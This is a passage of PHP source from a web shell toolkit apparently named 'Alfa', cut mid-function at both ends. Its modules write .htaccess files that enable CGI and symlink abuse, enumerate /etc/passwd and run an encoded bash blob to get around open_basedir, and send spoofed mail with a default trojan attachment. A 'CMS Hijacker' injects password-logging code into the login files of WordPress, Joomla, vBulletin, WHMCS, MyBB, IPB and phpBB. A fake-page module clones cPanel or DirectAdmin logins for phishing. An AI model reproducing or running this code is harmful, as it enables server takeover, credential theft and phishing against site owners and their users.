                echo "<p><textarea style='height:140px;width:50%;'>" . $bin . "</textarea></p></center>";
            }
            flush();
        }
    }
    echo "</div>";
    alfafooter();
}
function alfacgihtaccess($m, $d = '', $symname = false)
{
    $readme = "";
    if ($symname) {
        $readme = "\nReadmeName " . trim($symname);
    }
    if ($m == 'cgi') {
        $code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
    } elseif ($m == 'sym') {
        $code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
    } elseif ($m == 'shtml') {
        $code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
    }
    @__write_file($d . ".htaccess", $code);
}
function alfabasedir()
{
    alfahead();
    echo "<div class=header>\r\n<center><p><div class=\"txtfont_header\">| Open Base Dir |</div></p></center>";
    $passwd = _alfa_file('/etc/passwd');
    if (is_array($passwd)) {
        $users = array();
        $makepwd = alfaMakePwd();
        $basedir = @ini_get('open_basedir');
        $safe_mode = @ini_get('safe_mode');
        if (_alfa_can_runCommand(true, false) && ($basedir || $safe_mode)) {
            $bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
            $tmp_path = alfaWriteTocgiapi("basedir.alfa", $bash);
            $bash_users = alfaEx("cd " . $tmp_path . "/alfacgiapi;sh basedir.alfa " . $makepwd, false, true, true);
            $users = json_decode($bash_users, true);
            $x = count($users);
            if ($x >= 2) {
                array_pop($users);
                --$x;
            }
        }
        if (!$basedir && !$safe_mode) {
            $x = 0;
            foreach ($passwd as $str) {
                $pos = strpos($str, ':');
                $username = substr($str, 0, $pos);
                $dirz = str_replace("{user}", $username, $makepwd);
                if ($username != '') {
                    if (@is_readable($dirz)) {
                        array_push($users, $username);
                        $x++;
                    }
                }
            }
        }
        echo "<br><br>";
        echo "<b><font color=\"#00A220\">[+] Founded " . sizeof($passwd) . " entrys in /etc/passwd\n" . "<br /></font></b>";
        echo "<b><font color=\"#FFFFFF\">[+] Founded " . $x . " readable " . str_replace("{user}", "*", $makepwd) . " directories\n" . "<br /></font></b>";
        echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n<br /><br /><br /></font></b>";
        foreach ($users as $user) {
            if (empty($user)) {
                continue;
            }
            $path = str_replace("{user}", $user, $makepwd);
            echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>{$user}</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='{$path}'><input type=submit value='>>'></form><br>";
        }
    } else {
        echo "<b> <center><font color=\"#FFFFFF\">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>";
    }
    echo "<br><br></b>";
    echo "</div>";
    alfafooter();
}
function alfamail()
{
    alfahead();
    echo "<div class=header>";
    AlfaNum(8, 9, 10);
    echo "<center><p><div class=\"txtfont_header\">| Fake Mail |</div></p><form action=\"\" method=\"post\" onsubmit=\"g('mail',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,'>>',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;\">";
    $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => '[email protected]', 'inputSize' => '60', 'placeholder' => true), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => '[email protected]', 'inputSize' => '60', 'placeholder' => true), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'] . 'trojan.exe', 'inputSize' => '60'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60'));
    create_table($table);
    echo "<p><div class=\"txtfont\">Message:</div></p><textarea rows=\"6\" cols=\"60\" name=\"mail_content\">Hi Dear Admin :)</textarea><p><input type=\"submit\" value=\" \" name=\"mail_send\" /></p></form></center>";
    if (isset($_POST['alfa4']) && $_POST['alfa4'] == '>>') {
        $mail_to = $_POST['alfa1'];
        $mail_from = $_POST['alfa2'];
        $mail_subject = $_POST['alfa3'];
        $mail_content = $_POST['alfa5'];
        $count_mail = (int) $_POST['alfa6'];
        $mail_attach = $_POST['alfa7'];
        if (filter_var($mail_to, FILTER_VALIDATE_EMAIL)) {
            if (!empty($mail_attach) && @is_file($mail_attach)) {
                $file = $mail_attach;
                $content = __read_file($file);
                $content = chunk_split(__ZW5jb2Rlcg($content));
                $uid = md5(uniqid(time()));
                $filename = basename($file);
                $headers = "From: " . $mail_from . " <" . $mail_from . ">\r\n";
                $headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
                $headers .= "Reply-To: " . $mail_from . "\r\n";
                $headers .= "Content-Type: multipart/mixed; boundary=\"" . $uid . "\"\r\n\r\n";
                $headers .= "MIME-Version: 1.0\r\n";
                $headers .= "X-Mailer: php\r\n";
                $mail_content = "--" . $uid . "\r\n";
                $mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
                $mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
                $mail_content .= $mail_content . "\r\n\r\n";
                $mail_content .= "--" . $uid . "\r\n";
                $mail_content .= "Content-Type: application/octet-stream; name=\"" . $filename . "\"\r\n";
                $mail_content .= "Content-Transfer-Encoding: base64\r\n";
                $mail_content .= "Content-Disposition: attachment; filename=\"" . $filename . "\"\r\n\r\n";
                $mail_content .= $content . "\r\n\r\n";
                $mail_content .= "--" . $uid . "--";
            } else {
                $headers = "From: " . $mail_from . " ( " . $mail_from . " ) \r\n";
                $headers .= "To: " . $mail_to . " ( " . $mail_to . " ) \r\n";
                $headers .= 'Reply-To: ' . $mail_from . '' . "\r\n";
                $headers .= "Content-type: text/html; charset=utf-8\r\n";
                $headers .= "MIME-Version: 1.0\r\n";
                $headers .= "X-Mailer: php\r\n";
            }
            if (empty($count_mail) || $count_mail < 1) {
                $count_mail = 1;
            }
            if (!empty($mail_from)) {
                echo __pre();
                for ($i = 1; $i <= $count_mail; $i++) {
                    if (@mail($mail_to, $mail_subject, $mail_content, $headers)) {
                        echo "<center>Sent -> {$mail_to}<br></center>";
                    }
                }
            } else {
                __alert("Invalid Mail From !");
            }
        } else {
            __alert("Invalid Mail To !");
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaziper()
{
    alfahead();
    AlfaNum(8, 9, 10);
    echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="' . (!empty($_POST['alfa3']) ? htmlspecialchars($_POST['alfa3']) : htmlspecialchars($GLOBALS['cwd'])) . '" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . 'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
    if (isset($_POST['alfa5']) && $_POST['alfa5'] == '>>') {
        $dirzip = $_POST['alfa3'];
        $zipfile = $_POST['alfa4'];
        if ($GLOBALS['sys'] != 'unix' && _alfa_can_runCommand(true, true)) {
            alfaEx("powershell Compress-Archive -Path '" . addslashes($dirzip) . "' -DestinationPath '" . addslashes(basename($zipfile)) . "'");
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
        } elseif ($GLOBALS['sys'] == 'unix' && _alfa_can_runCommand(true, true)) {
            alfaEx("cd '" . addslashes(dirname($zipfile)) . "';zip -r '" . addslashes(basename($zipfile)) . "' '" . addslashes($dirzip) . "'");
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
        } elseif (class_exists('ZipArchive')) {
            if (__alfaziper($dirzip, $zipfile)) {
                echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font></p></center>';
            } else {
                echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function __alfaziper($source, $destination)
{
    if (!extension_loaded('zip') || !file_exists($source)) {
        return false;
    }
    $zip = new ZipArchive();
    if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
        return false;
    }
    $source = str_replace('\\', '/', realpath($source));
    if (is_dir($source) === true) {
        $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
        foreach ($files as $file) {
            $file = str_replace('\\', '/', $file);
            if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..'))) {
                continue;
            }
            $file = realpath($file);
            if (is_dir($file) === true) {
                $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
            } else {
                if (is_file($file) === true) {
                    $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
                }
            }
        }
    } else {
        if (is_file($source) === true) {
            $zip->addFromString(basename($source), file_get_contents($source));
        }
    }
    return $zip->close();
}
function alfadeziper()
{
    alfahead();
    AlfaNum(8, 9, 10);
    echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="' . (!empty($_POST['alfa3']) ? htmlspecialchars($_POST['alfa3']) : htmlspecialchars($GLOBALS['cwd'])) . '" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="' . $GLOBALS['cwd'] . '" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
    if (isset($_POST['alfa5']) && $_POST['alfa5'] == '>>') {
        $dirzip = $_POST['alfa3'];
        $zipfile = $_POST['alfa4'];
        if (@(!is_dir($zipfile))) {
            @mkdir($zipfile, 0777, true);
        }
        $finfo = "";
        $file_type = "";
        if (function_exists('finfo_open')) {
            $finfo = @finfo_open(FILEINFO_MIME_TYPE);
            $file_type = @finfo_file($finfo, $dirzip);
            @finfo_close($finfo);
        } else {
            if ($GLOBALS['sys'] == 'unix' && _alfa_can_runCommand(true, true)) {
                $file_type = alfaEx('file -b --mime-type ' . $dirzip);
            }
        }
        if ($GLOBALS['sys'] != 'unix' && _alfa_can_runCommand(true, true)) {
            alfaEx("powershell expand-archive -path '" . addslashes($dirzip) . "' -destinationpath '" . addslashes(basename($zipfile)) . "'");
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font></b></p></center>';
        } elseif ($GLOBALS['sys'] == 'unix' && !empty($file_type) && _alfa_can_runCommand(true, true) && (strlen(alfaEx('which unzip')) > 0 || strlen(alfaEx('which tar')) > 0 || strlen(alfaEx('which gunzip')) > 0)) {
            switch ($file_type) {
                case 'application/zip':
                    alfaEx("cd '" . addslashes($zipfile) . "';unzip '" . addslashes($dirzip) . "'");
                    break;
                case 'application/x-tar':
                case 'application/x-gzip':
                case 'application/x-gtar':
                    if (strstr(basename($dirzip), ".tar.gz") || strstr(basename($dirzip), ".tar")) {
                        alfaEx("cd '" . addslashes($zipfile) . "';tar xzf '" . addslashes($dirzip) . "'");
                    } else {
                        alfaEx("cd '" . addslashes($zipfile) . "';gunzip '" . addslashes($dirzip) . "'");
                    }
                    break;
            }
            echo __pre() . '<center><p>Done -> <b><font color="green">' . $zipfile . '</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'' . $zipfile . '\');">[ View Folder ]</a></b></p></center>';
        } elseif (class_exists('ZipArchive')) {
            $itsok = false;
            if (emtpy($file_type)) {
                $file_type = "application/zip";
            }
            switch ($file_type) {
                case 'application/zip':
                    $zip = new ZipArchive();
                    $res = $zip->open($dirzip);
                    if ($res) {
                        $zip->extractTo($zipfile);
                        $zip->close();
                        $itsok = true;
                    }
                    break;
                case 'application/x-tar':
                case 'application/x-gzip':
                case 'application/x-gtar':
                    if (strstr(basename($dirzip), ".tar.gz")) {
                        $new_file = $zipfile . '/' . basename($dirzip);
                        @copy($dirzip, $new_file);
                        $new_tar = str_replace(".tar.gz", ".tar", $new_file);
                        try {
                            $p = new PharData($new_file);
                            $p->decompress();
                            $phar = new PharData($new_tar);
                            $phar->extractTo($zipfile);
                            @unlink($new_file);
                            @unlink($new_tar);
                            $itsok = true;
                        } catch (Exception $e) {
                        }
                    } else {
                        try {
                            $phar = new PharData($dirzip);
                            $phar->extractTo($zipfile);
                            $itsok = true;
                        } catch (Exception $e) {
                        }
                    }
                    break;
            }
            if ($itsok) {
                echo __pre() . '<center><p><font color="green">Success...!<br>' . $zipfile . '</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\'' . $zipfile . '\');">[ View Folder ]</a></p></center>';
            } else {
                echo __pre() . '<center><p><font color="red">ERROR!!!...</font></p></center>';
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfacmshijacker()
{
    alfahead();
    AlfaNum(5, 6, 7, 8, 9, 10);
    echo "<div class=header><br>\r\n<center><div class=\"txtfont_header\">| Cms Hijacker |</div><br><br><form onSubmit=\"g('cmshijacker',null,this.cmshi.value,this.saveto.value,'>>',this.cmspath.value);return false;\" method='post'>\r\n<div class=\"txtfont\">CMS: <select style=\"width:100px;\" name=\"cmshi\">";
    $cm_array = array("vb" => "vBulletin", "wp" => "wordpress", "jom" => "joomla", "whmcs" => "whmcs", "mybb" => "mybb", "ipb" => "ipboard", "phpbb" => "phpbb");
    foreach ($cm_array as $key => $val) {
        echo '<option value="' . $key . '">' . $val . '</option>';
    }
    echo "</select>";
    echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="' . $GLOBALS['cwd'] . 'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
    $cms = $_POST['alfa1'];
    $saveto = $_POST['alfa2'];
    $cmspath = $_POST['alfa4'];
    if (!empty($cms) and !empty($saveto) and $_POST['alfa4'] and $_POST['alfa3'] == '>>') {
        echo __pre();
        alfaHijackCms($cms, $cmspath, $saveto);
    }
    echo "</div>";
    alfafooter();
}
function alfaHijackCms($cms, $cmspath, $saveto)
{
    switch ($cms) {
        case "vb":
            hijackvBulletin($cmspath, $saveto);
            break;
        case "wp":
            hijackwp($cmspath, $saveto);
            break;
        case "jom":
            hijackJoomla($cmspath, $saveto);
            break;
        case "whmcs":
            hijackWhmcs($cmspath, $saveto);
            break;
        case "mybb":
            hijackMybb($cmspath, $saveto);
            break;
        case "ipb":
            hijackIPB($cmspath, $saveto);
            break;
        case "phpbb":
            hijackPHPBB($cmspath, $saveto);
            break;
        default:
            echo "error!";
            break;
    }
}
function hijackvBulletin($path, $saveto)
{
    $code = '$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' .  $alfa_password." (" . $row["email"] . ")\\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
    $clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/login.php";
    $class = $path . "/includes/class_bootstrap.php";
    $dologin = 'do_login_redirect();';
    $evil_login = "\t" . $code . "\n\t" . $dologin;
    $evil_class = "true";
    if ((@is_file($login) and @is_writable($login)) || (@is_file($class) and @is_writable($class))) {
        $data_login = @file_get_contents($login);
        $data_class = @file_get_contents($class);
        if (strstr($data_login, $dologin) || strstr($data_class, $clearpw)) {
            $login_replace = str_replace($dologin, $evil_login, $data_login);
            $class_replace = str_replace($clearpw, $evil_class, $data_class);
            @file_put_contents($login, $login_replace);
            @file_put_contents($class, $class_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackwp($path, $saveto)
{
    $code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
    $redirect_wp = '#if[ ]{0,}\\([ ]{0,}![ ]{0,}is_wp_error\\([ ]{0,}\\$user[ ]{0,}\\)[ ]{0,}&&[ ]{0,}![ ]{0,}\\$reauth[ ]{0,}\\)[ ]{0,}{#';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/wp-login.php";
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (@preg_match($redirect_wp, $data_login, $match)) {
            $evil_login = "\t" . $match[0] . "\n\t" . $code;
            $login_replace = @preg_replace($redirect_wp, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackJoomla($path, $saveto)
{
    $code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $comp = $path . "/administrator/components/com_login/";
    if (@is_file($comp . "/login.php")) {
        $login = $comp . "/login.php";
    } elseif (@is_file($comp . "/admin.login.php")) {
        $login = $comp . "/admin.login.php";
    } else {
        $login = '';
    }
    if (@is_file($login) and @is_writable($login) and $login != '') {
        $data_login = @file_get_contents($login);
        $evil_login = $code . "\n" . $data_login;
        @file_put_contents($login, $evil_login);
        hijackOutput(0, $saveto);
    } else {
        hijackOutput(1);
    }
}
function hijackWhmcs($path, $saveto)
{
    $code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' .  $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $conf = $path . "/configuration.php";
    if (@is_file($conf) and @is_writable($conf)) {
        $data_conf = @file_get_contents($conf);
        if (!strstr($data_conf, '?>')) {
            $code = '?>' . $code;
        }
        $evil_conf = $data_conf . "\n" . $code;
        @file_put_contents($conf, $evil_conf);
        hijackOutput(0, $saveto);
    } else {
        hijackOutput(1);
    }
}
function hijackMybb($path, $saveto)
{
    $code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
    $find = '$loginhandler->complete_login();';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/member.php";
    $evil_login = "\t" . $code . "\n\t" . $find;
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (strstr($data_login, $find)) {
            $login_replace = str_replace($find, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackIPB($path, $saveto)
{
    $code = '$Alfa_q = $this->DB->buildAndFetch(array(\'select\' => \'email\', \'from\' => \'members\', \'where\' => \'name="\'.$username.\'" OR email="\'.$email.\'"\'));$Alfa_file = "{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $_POST[\'ips_username\'].\' : \'.$_POST[\'ips_password\'].\' ( \'.$Alfa_q[\'email\'].\' )\'."\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
    $find = 'unset( $member[\'plainPassword\'] );';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/admin/sources/handlers/han_login.php";
    $evil_login = "\tunset( \$member['plainPassword'] );\n\t" . $code;
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (strstr($data_login, $find)) {
            $login_replace = str_replace($find, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackPHPBB($path, $saveto)
{
    $code = '$Alfa_u = request_var(\'username\', \'\');$Alfa_p = request_var(\'password\', \'\');if($Alfa_u != \'\' AND $Alfa_p != \'\'){$Alfa_response = $auth->login($Alfa_u,$Alfa_p);if($Alfa_response[\'status\'] == LOGIN_SUCCESS){$Alfa_file ="{saveto_path}";$fp = @fopen($Alfa_file, "a+");@fwrite($fp, $Alfa_u." : ".$Alfa_p. " ( ".$Alfa_response[\'user_row\'][\'user_email\']." )\\n");@fclose($fp);$f = @file($Alfa_file);$new = array_unique($f);$fp = @fopen($Alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
    $find = 'case \'login\':';
    $code = str_replace('{saveto_path}', $saveto, $code);
    $login = $path . "/ucp.php";
    $evil_login = "\tcase 'login':\n\t" . $code;
    if (@is_file($login) and @is_writable($login)) {
        $data_login = @file_get_contents($login);
        if (strstr($data_login, $find)) {
            $login_replace = str_replace($find, $evil_login, $data_login);
            @file_put_contents($login, $login_replace);
            hijackOutput(0, $saveto);
        } else {
            hijackOutput(1);
        }
    } else {
        hijackOutput(1);
    }
}
function hijackOutput($c = 0, $p = '')
{
    echo $c == 0 ? "<center><font color='green'>Success</font> --> path: {$p}</center>" : '<center><font color="red">Error in inject code !</font></center>';
}
function Alfa_StrSearcher($dir, $string, $ext, $e, $arr = array())
{
    if (@is_dir($dir)) {
        $files = @scandir($dir);
        foreach ($files as $key => $value) {
            $path = @realpath($dir . DIRECTORY_SEPARATOR . $value);
            if (!@is_dir($path)) {
                if ($ext != '*') {
                    $f = basename($path);
                    $f = explode('.', $f);
                    $f = end($f);
                    if ($f != $ext) {
                        continue;
                    }
                }
                if ($e == 'str') {
                    $content = @file_get_contents($path);
                    if (strpos($content, $string) !== false) {
                        echo str_replace('\\', '/', $path) . "<br>";
                    }
                } else {
                    if (strstr($value, $string)) {
                        echo str_replace('\\', '/', $path) . "<br>";
                    }
                }
                $results[] = $path;
            } elseif ($value != "." && $value != "..") {
                Alfa_StrSearcher($path, $string, $ext, $e, $results);
                $results[] = $path;
            }
        }
    }
}
function alfafakepage()
{
    alfahead();
    AlfaNum(9, 10);
    echo "<div class=header><br>\r\n\t<center><div class=\"txtfont_header\">| Host Manager Fake page |</div></center><br><br><form onSubmit=\"g('fakepage',null,this.clone_page.value,this.fake_root.value,'>>',this.logto.value,this.panel.value,this.inject_to.value,this.bind_on.value,this.count.value);return false;\" method='post'>\r\n\t<div class=\"txtfont\" style=\"position: relative;left: 50%;transform: translate(-50%);\"><div style=\"margin-bottom:6px;\"><span style=\"display: inline-block;width: 106px;\">Panel: </span><select style=\"width:100px;\" name=\"panel\">";
    $cm_array = array("cpanel" => "Cpanel", "directadmin" => "DirectAdmin");
    foreach ($cm_array as $key => $val) {
        echo '<option value="' . $key . '">' . $val . '</option>';
    }
    echo "</select></div>";
    echo '<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Clone page: </span><input size="50" type="text" name="clone_page" placeholder="eg: https://target.com:2083 | https://target.com:2222"></div>
	<div style="margin-bottom:6px;"><span>Fake page root: </span><input size="50" type="text" name="fake_root" value="' . $_SERVER["DOCUMENT_ROOT"] . '/fake_page_root/"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Inject to: </span><input size="50" type="text" name="inject_to" value="' . $_SERVER["DOCUMENT_ROOT"] . '/index.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Bind on: </span><input size="50" type="text" name="bind_on" placeholder="eg: ' . $_SERVER["DOCUMENT_ROOT"] . '/wp-login.php"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Log To: </span><input size="50" type="text" name="logto" value="' . $GLOBALS['cwd'] . 'logs.txt"></div>
	<div style="margin-bottom:6px;"><span style="display: inline-block;width: 106px;">Count of Invalid login: </span><input size="20" type="text" name="count" value="3" style="text-align:center;"></div>
	<div style="text-align:center;"><input type="submit" name="btn" value=" "></div></div></form><br>';
    $clone_page = $_POST['alfa1'];
    $fake_root = $_POST['alfa2'];
    $logto = $_POST['alfa4'];
    $panel = $_POST['alfa5'];
    $inject_to = $_POST['alfa6'];
    $bind_on = $_POST['alfa7'];
    $count = $_POST['alfa8'];
    if (!empty($clone_page) && !empty($fake_root) && !empty($logto) && !empty($inject_to) && !empty($bind_on) && $_POST['alfa3'] == '>>') {
        echo __pre();
        $target = $clone_page;
        $curl = new AlfaCURL();
        $source_page = $curl->Send($target);
        if (!empty($source_page)) {
            $matched_form = "";
            if ($panel == "cpanel") {
                if (preg_match('#<form(.*)id="login_form"(.*)>#', $source_page, $match)) {
                    $matched_form = $match[0];
                }
            } else {
                if (preg_match('#<form(.*?)>#', $source_page, $match)) {
                    $matched_form = $match[0];
                }
            }
            if (!empty($matched_form)) {
                $fake = "";
                $pwd = str_replace($_SERVER["DOCUMENT_ROOT"], '', $fake_root);
                $uri = str_replace($_SERVER["DOCUMENT_ROOT"], '', $inject_to);
                if ($panel == "cpanel") {
                    $port = "2083";
                } else {
                    $target = str_replace(array("http://", "https://"), "", $target);
                    $port = explode(":", $target);
                    $port = $port[1];
                }
                if (substr($uri, 0, 1) == "/") {
                    $uri = substr($uri, 1);
                }
                $uri = $_SERVER["HTTP_ORIGIN"] . '/' . str_replace("index.php", "", $uri) . '?:' . $port;
                $log_url = $_SERVER["HTTP_ORIGIN"] . $pwd . '/log.php';
                if ($panel == "cpanel") {
                    $form = '<form novalidate id="login_form" action="' . $log_url . '" method="post" target="_top" style="visibility:">';
                } else {
                    $form = '<form action="' . $log_url . '" method="post">';
                }
                $fake = str_replace($matched_form, $form, $source_page);
                if (@(!is_dir($fake_root))) {
                    @mkdir($fake_root, 0777, true);
                }
                $cookie_name = "alfa_fakepage_counter" . rand(9999, 99999);
                $post_user = 'user';
                $post_pass = 'pass';
                $resp_code = 'if(empty($user)){http_response_code(400);echo json_encode(array("message" => "no_username"));}else{http_response_code(401);}';
                if ($panel != "cpanel") {
                    $post_user = 'username';
                    $post_pass = 'password';
                    $resp_code = '@header("Location: ".$_SERVER[\'HTTP_REFERER\']);';
                }
